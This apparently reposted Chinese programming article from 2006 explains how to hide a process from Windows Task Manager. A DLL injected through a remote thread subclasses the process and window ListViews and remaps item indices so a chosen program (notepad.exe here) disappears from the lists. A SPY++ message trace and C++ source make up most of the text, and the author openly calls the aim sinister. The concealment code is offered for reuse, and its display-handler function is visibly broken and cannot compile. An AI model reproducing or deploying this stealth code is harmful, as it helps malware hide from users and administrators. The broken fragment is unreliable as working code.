分享
 
 
 

NT/2000下进程隐藏的新思路

王朝vc·作者佚名  2006-01-09
窄屏简体版  字體: |||超大  

大家知道,在NT内核的操作系统中,要做进程的隐藏要比95/98下困难得多。目前网上流传的一般方法不外乎几种:

很多做法是让程序运行在别的进程的地址空间里,也就是创建远程线程来工作。这种方法事实上已经可以有很出色的效果了。要是非要挑它有什么毛病的话,我们可以说那不叫作真正的进程隐藏,因为根本没有实际的进程存在。

还有一种很高深的方法,能做到真正的进程隐藏。它用到了一些Windows没有公开的数据结构,这些资料我之前也没有见过(怪我太孤陋寡闻^_^!)。它的原作者也一定是个牛人了.这个方法也很有霸气,它会得到系统的进程链然后从中删掉要隐藏的进程节点,那么所有的进程管理程序就都看不到它了。其中所提供的代码我没有试验过,也略表示怀疑,觉得这种程序是否只有在内核态才能正常运行。无论怎样,据作者的说法,这样做会造成Windows运行不稳定,有时会出现窗口报错,而且因为使用了未公开的东西,具体原因也无从知道了。

再有我还能想到的方法,就是用全局的API钩子,或者至少对进程管理器下钩子,截获HelpTools之类进程枚举的API。这也只是想法,我没有试验过不保证它一定能工作。万一进程管理器使用的是未公开的API而并非你所挂钩的那些,这样做就是无效的。再有加全局API钩子的性能代价还是不小的。

在这里我给大家提供一种新的,实际上很简单但却有效的方法,或者说思路,就是我们不像第二种方法那样欺骗系统,而只是欺骗观众:进程管理器使用一个ListView32控件来显示进程,我们不妨把这个窗口子类化,接管它的行为,不让它显示我们要隐藏的进程。

有了想法,实现过程就简单了。我们先用SPY++跟踪一下这个窗口的消息,发现它的每个进程项是依照顺序从上到下填写进去的。我们只需要拦截住相应的填入动作就可以了。以下是剪下来的跟踪结果的一个片断,我们可以看看到底需要拦截哪些消息,相应的消息参数也要到msdn里去查一下。

<00335> 0006087C S .LVM_GETITEMSTATE i:28 mask:2

<00336> 0006087C R .LVM_GETITEMSTATE flags:0

<00337> 0006087C S .LVM_GETITEMRECT i:28 prc:0007F4F0

<00338> 0006087C R .LVM_GETITEMRECT fSucceeded:True

<00339> 0006087C S .LVM_GETITEMSTATE i:29 mask:2

<00340> 0006087C R .LVM_GETITEMSTATE flags:0

<00341> 0006087C S .LVM_GETITEMRECT i:29 prc:0007F4F0

<00342> 0006087C R .LVM_GETITEMRECT fSucceeded:True

<00343> 0006087C R WM_ERASEBKGND fErased:True

<00344> 0006087C S WM_SETREDRAW fRedraw:False

<00345> 0006087C R WM_SETREDRAW

<00346> 0006087C S LVM_GETITEMCOUNT

<00347> 0006087C R LVM_GETITEMCOUNT iCount:30

<00348> 0006087C S LVM_GETNEXTITEM iStart:-1 flags:LVNI_SELECTED

<00349> 0006087C R LVM_GETNEXTITEM iIndex:0

<00350> 0006087C S LVM_GETITEMW pitem:0007F804

<00351> 0006087C R LVM_GETITEMW fSucceeded:True

<00352> 0006087C S LVM_GETITEMW pitem:0007F880

<00353> 0006087C R LVM_GETITEMW fSucceeded:True

<00354> 0006087C S LVM_GETITEMW pitem:0007F880

<00355> 0006087C R LVM_GETITEMW fSucceeded:True

<00356> 0006087C S LVM_GETITEMW pitem:0007F880

<00357> 0006087C R LVM_GETITEMW fSucceeded:True

<00358> 0006087C S LVM_REDRAWITEMS iFirst:2 iLast:0

<00359> 0006087C R LVM_REDRAWITEMS fSucceeded:True

<00360> 0006087C S LVM_GETITEMW pitem:0007F880

<00361> 0006087C R LVM_GETITEMW fSucceeded:True

<00362> 0006087C S LVM_GETITEMW pitem:0007F880

<00363> 0006087C R LVM_GETITEMW fSucceeded:True

<00364> 0006087C S LVM_GETITEMW pitem:0007F880

<00365> 0006087C R LVM_GETITEMW fSucceeded:True

<00366> 0006087C S LVM_REDRAWITEMS iFirst:5 iLast:0

<00367> 0006087C R LVM_REDRAWITEMS fSucceeded:True

<00368> 0006087C S LVM_GETITEMW pitem:0007F880

<00369> 0006087C R LVM_GETITEMW fSucceeded:True

<00370> 0006087C S LVM_GETITEMW pitem:0007F880

<00371> 0006087C R LVM_GETITEMW fSucceeded:True

<00372> 0006087C S LVM_REDRAWITEMS iFirst:7 iLast:0

<00373> 0006087C R LVM_REDRAWITEMS fSucceeded:True

<00374> 0006087C S LVM_GETITEMW pitem:0007F880

<00375> 0006087C R LVM_GETITEMW fSucceeded:True

<00376> 0006087C S LVM_GETITEMW pitem:0007F880

<00377> 0006087C R LVM_GETITEMW fSucceeded:True

<00378> 0006087C S LVM_GETITEMW pitem:0007F880

<00379> 0006087C R LVM_GETITEMW fSucceeded:True

<00380> 0006087C S LVM_GETITEMW pitem:0007F880

<00381> 0006087C R LVM_GETITEMW fSucceeded:True

<00382> 0006087C S LVM_REDRAWITEMS iFirst:11 iLast:0

<00383> 0006087C R LVM_REDRAWITEMS fSucceeded:True

<00384> 0006087C S LVM_GETITEMW pitem:0007F880

<00385> 0006087C R LVM_GETITEMW fSucceeded:True

<00386> 0006087C S LVM_GETITEMW pitem:0007F880

<00387> 0006087C R LVM_GETITEMW fSucceeded:True

<00388> 0006087C S LVM_REDRAWITEMS iFirst:13 iLast:0

<00389> 0006087C R LVM_REDRAWITEMS fSucceeded:True

我们需要拦截的几个消息:

LVM_GETNEXTITEM:

LVM_REDRAWITEMS:

LVM_GETITEMRECT:

LVM_GETITEMSTATE:

LVM_GETITEMCOUNT:

LVM_GETITEM:

LVM_SETITEM:

LVM_INSERTITEM:

LVM_DELETEITEM:

大家注意,这些消息中大都有相应的信息指明这个ITEM在ListView中的位置,当然,如果我们从中间删掉一行或几行,这些位置肯定会发生变化的,如果我们仍然任由这些消息按照原来的方式传递下去,那里就会出现一些空白的或者没有刷新的行,我们的险恶用心也就暴露无余了。于是我们为了假装他们没有变化,必须作一些额外的工作。这可以抽象为:我们维护两个表,一个用来向用户反映他/她应该看到的信息,当然这是删除过ITEM以后的表;另一个向系统反映它应该“看到”的信息,这才是ListView的本来面目。我们在这两个表之间做一个相互位置关系的映射,把每个消息的指定的位置都映射之后再向下/向上传播,真正做到“欺上瞒下”。当然实现时并不真需要两个表,这只是一种抽象,你无论用什么手段,维护好这个映射关系就好了。

在这之前必须说明,基于NT的操作系统中,只能子类化属于自己进程的窗口,所以我们仍然需要创建一个远程线程,把进程管理器“黑”掉,来完成子类化的工作。这一类的方法网上随便找都能找到,我就不赘述了。

再补充一点就是任务管理器有两个类似的ListView32,一个用来显示进程,另一个用来显示窗口。如果你要隐藏的进程有窗口,你也要把这个ListView32也“黑”掉,方法完全相同,甚至行为也相同,所以我在代码中干脆稍动了点手脚来偷懒,使用同一个函数对他们进行子类化。还有一个小窗口用数字显示当前的进程数,没说的,干掉它。

当然这种方法的缺点也就不言自明:它只针对任务管理器,碰到其他的进程管理程序(比如xp Professional 的tasklist命令行工具)就无能为力了。

以下是最核心的那部分代码。我还写了一个类CPreventItemList,来维护上面所说的映射关系,就不贴上来了。它的几个函数很简单,代码中一看便知。大家可以自己随便实现一下,呵呵。水平实在有限,有什么错误遗漏大家帮我修正补充一下,代码写得挺差也没注释还望大家不要唾我。

// RemoteDll.cpp : Defines the entry point for the DLL application.

//

#include "stdafx.h"

#include <tchar.h>

#include <commctrl.h>

#include <Psapi.h>

#include "PreventItemList.h"

#pragma comment(lib,"psapi.lib")

int Hide();

int Show();

HWND g_hWndWindowList = NULL;

HWND g_hWndProcessList = NULL;

HWND g_hWndDisplay = NULL;

WNDPROC g_pProcessListWndProc = NULL;

WNDPROC g_pWindowListWndProc = NULL;

WNDPROC g_pDisplayWndProc = NULL;

CPreventItemList *g_pProcessPreventList = NULL;

CPreventItemList *g_pWindowPreventList = NULL;

BOOL APIENTRY DllMain( HANDLE hModule,

DWORD ul_reason_for_call,

LPVOID lpReserved

)

{

switch(ul_reason_for_call)

{

case DLL_PROCESS_ATTACH:

Hide();

break;

case DLL_PROCESS_DETACH:

Show();

break;

default:

return TRUE;

}

return TRUE;

}

typedef BOOL (*P_IsPreventListItem)(LPLVITEM);

BOOL IsPreventWindowListItem(LPLVITEM pItem)

{

DWORD dwProcessId;

HWND hWnd = *(HWND*)(pItem->lParam);

GetWindowThreadProcessId(hWnd, &dwProcessId);

if(!dwProcessId)

{

return FALSE;

}

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);

TCHAR lpszProcessName[MAX_PATH];

GetModuleFileNameEx(hProcess, NULL, lpszProcessName, MAX_PATH);

CloseHandle(hProcess);

TCHAR *pName = _tcsrchr(lpszProcessName, '\\');

if(pName)

{

++pName;

}

else

{

pName = lpszProcessName;

}

return 0 == _tcsicmp(pName, TEXT("notepad.exe"));

}

BOOL IsPreventProcessListItem(LPLVITEM pItem)

{

return 0 == _tcsicmp(pItem->pszText, TEXT("notepad.exe"));

}

LRESULT CALLBACK NewListWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)

{

CPreventItemList **ppPreventList;

WNDPROC pWndProc;

P_IsPreventListItem IsPreventListItem;

int nOldIndex, nNewIndex;

LPLVITEM pItem, pTmpItem;

LRESULT lResult;

if(hWnd == g_hWndWindowList)

{

IsPreventListItem = IsPreventWindowListItem;

ppPreventList = &g_pWindowPreventList;

pWndProc = g_pWindowListWndProc;

}

else if(hWnd == g_hWndProcessList)

{

IsPreventListItem = IsPreventProcessListItem;

ppPreventList = &g_pProcessPreventList;

pWndProc = g_pProcessListWndProc;

}

if(!(*ppPreventList))

{

(*ppPreventList) = new CPreventItemList;

int nCount = (int)CallWindowProc(pWndProc, hWnd, LVM_GETITEMCOUNT, 0, 0);

TCHAR lpszText[MAX_PATH];

for(int i=0; i<nCount; i++)

{

LVITEM oItem;

ZeroMemory(&oItem, sizeof(LVITEM));

oItem.mask = LVIF_TEXT | LVIF_STATE | LVIF_PARAM;

oItem.iItem = i;

oItem.pszText = lpszText;

oItem.cchTextMax = MAX_PATH;

CallWindowProc(pWndProc, hWnd, LVM_GETITEM, 0, (LPARAM)&oItem);

if(IsPreventListItem(&oItem))

{

nOldIndex = (*ppPreventList)->GetOldIndexFromNew(i);

CallWindowProc(pWndProc, hWnd, LVM_DELETEITEM, i, 0);

(*ppPreventList)->Insert(nOldIndex, &oItem);

--i;

--nCount;

}

}

}

switch(message)

{

case LVM_GETNEXTITEM:

nOldIndex = (int)wParam;

if(nOldIndex >= 0)

{

nNewIndex = (*ppPreventList)->GetNewIndexFromOld(nOldIndex);

nNewIndex = nNewIndex < 0 ? - nNewIndex : nNewIndex;

wParam = (WPARAM)nNewIndex;

}

lResult = CallWindowProc(pWndProc, hWnd, message, wParam, lParam);

lResult = (*ppPreventList)->GetOldIndexFromNew(lResult);

return lResult;

case LVM_REDRAWITEMS:

case LVM_GETITEMRECT:

case LVM_GETITEMSTATE:

nOldIndex = (int)wParam;

nNewIndex = (*ppPreventList)->GetNewIndexFromOld(nOldIndex);

if(nNewIndex < 0)

{

return 0;

}

else

{

return CallWindowProc(pWndProc, hWnd, message, (WPARAM)nNewIndex, lParam);

}

case LVM_GETITEMCOUNT:

lResult = (int)CallWindowProc(pWndProc, hWnd, LVM_GETITEMCOUNT, 0, 0);

lResult += (*ppPreventList)->GetCount();

return lResult;

case LVM_GETITEM:

pItem = (LPLVITEM)lParam;

nOldIndex = pItem->iItem;

if(0 == (*ppPreventList)->Find(nOldIndex, &pTmpItem))

{

memcpy(pItem, pTmpItem, sizeof(LVITEM));

pItem->iItem = nOldIndex;

lResult = TRUE;

}

else

{

nNewIndex = (*ppPreventList)->GetNewIndexFromOld(nOldIndex);

pItem->iItem = nNewIndex;

lResult = CallWindowProc(pWndProc, hWnd, message, wParam, lParam);

pItem->iItem = nOldIndex;

}

return lResult;

case LVM_SETITEM:

pItem = (LPLVITEM)lParam;

nOldIndex = pItem->iItem;

nNewIndex = (*ppPreventList)->GetNewIndexFromOld(nOldIndex);

if(IsPreventListItem(pItem))

{

if(0 == (*ppPreventList)->Find(nOldIndex, &pTmpItem))

{

memcpy(pTmpItem, pItem, sizeof(LVITEM));

lResult = TRUE;

}

else

{

lResult = CallWindowProc(pWndProc, hWnd, LVM_DELETEITEM, nNewIndex, 0);

(*ppPreventList)->Insert(nOldIndex, pItem);

}

}

else

{

if(0 == (*ppPreventList)->Find(nOldIndex, &pTmpItem))

{

pItem->iItem = - nNewIndex;

lResult = CallWindowProc(pWndProc, hWnd, LVM_INSERTITEM, wParam, lParam);

(*ppPreventList)->Remove(nOldIndex);

}

else

{

pItem->iItem = nNewIndex;

lResult = CallWindowProc(pWndProc, hWnd, message, wParam, lParam);

}

pItem->iItem = nOldIndex;

}

return lResult;

case LVM_INSERTITEM:

//since taskmgr only insert to the end of the listview, we neen'd consider of the index's change.

pItem = (LPLVITEM)lParam;

nOldIndex = pItem->iItem;

nNewIndex = (*ppPreventList)->GetNewIndexFromOld(nOldIndex);

if(IsPreventListItem(pItem))

{

(*ppPreventList)->Insert(nOldIndex, pItem);

lResult = TRUE;

}

else

{

if(0 == (*ppPreventList)->Find(nOldIndex, &pTmpItem))

{

pItem->iItem = - nNewIndex;

lResult = CallWindowProc(pWndProc, hWnd, message, wParam, lParam);

(*ppPreventList)->Remove(nOldIndex);

}

else

{

pItem->iItem = nNewIndex;

lResult = CallWindowProc(pWndProc, hWnd, message, wParam, lParam);

}

pItem->iItem = nOldIndex;

}

return lResult;

case LVM_DELETEITEM:

nOldIndex = (int)wParam;

nNewIndex = (*ppPreventList)->GetNewIndexFromOld(nOldIndex);

if(0 == (*ppPreventList)->Find(nOldIndex, &pTmpItem))

{

(*ppPreventList)->Remove(nOldIndex);

lResult = TRUE;

}

else

{

lResult = CallWindowProc(pWndProc, hWnd, message, (WPARAM)nNewIndex, lParam);

}

return lResult;

default:

lResult = CallWindowProc(pWndProc, hWnd, message, wParam, lParam);

}

return lResult;

}

LRESULT DisplayWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)

{

LRESULT lResult;

switch()

{

case WM_SETTEXT:

LPTSTR lpszText = lParam;

break;

default:

lResult = CallWindowProc(g_pDisplayWndProc, hWnd, message, wParam, lParam);

}

return lResult;

}

int Hide()

{

HWND hManagerWnd = FindWindowA("#32770", "Windows 任务管理器");

HWND hWndDisplay = GetDlgItem(hManagerWnd, 0x00000064);

HWND hWndParent = GetWindow(hManagerWnd, GW_CHILD);

do

{

if(!g_hWndWindowList)

{

g_hWndWindowList = GetDlgItem(hWndParent, 0x0000041d);

}

if(!g_hWndProcessList)

{

g_hWndProcessList = GetDlgItem(hWndParent, 0x000003f1);

}

hWndParent = GetWindow(hWndParent, GW_HWNDNEXT);

} while(hWndParent && (!g_hWndProcessList || !g_hWndWindowList));

g_pWindowListWndProc = (WNDPROC)SetWindowLongPtr(g_hWndWindowList, GWLP_WNDPROC, (LONG_PTR)NewListWndProc);

g_pProcessListWndProc = (WNDPROC)SetWindowLongPtr(g_hWndProcessList, GWLP_WNDPROC, (LONG_PTR)NewListWndProc);

if(!g_pProcessListWndProc || !g_pWindowListWndProc)

{

return 1;

}

return 0;

}

int Show()

{

if(g_pWindowListWndProc)

{

SetWindowLongPtr(g_hWndWindowList, GWLP_WNDPROC, (LONG_PTR)g_pWindowListWndProc);

}

if(g_pProcessListWndProc)

{

SetWindowLongPtr(g_hWndProcessList, GWLP_WNDPROC, (LONG_PTR)g_pProcessListWndProc);

}

if(g_pProcessPreventList)

{

delete g_pProcessPreventList;

g_pProcessPreventList = NULL;

}

if(g_pWindowPreventList)

{

delete g_pWindowPreventList;

g_pWindowPreventList = NULL;

}

return 0;

}

原创作者Foreverflying,可以随意转载,请不要删除此行。

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有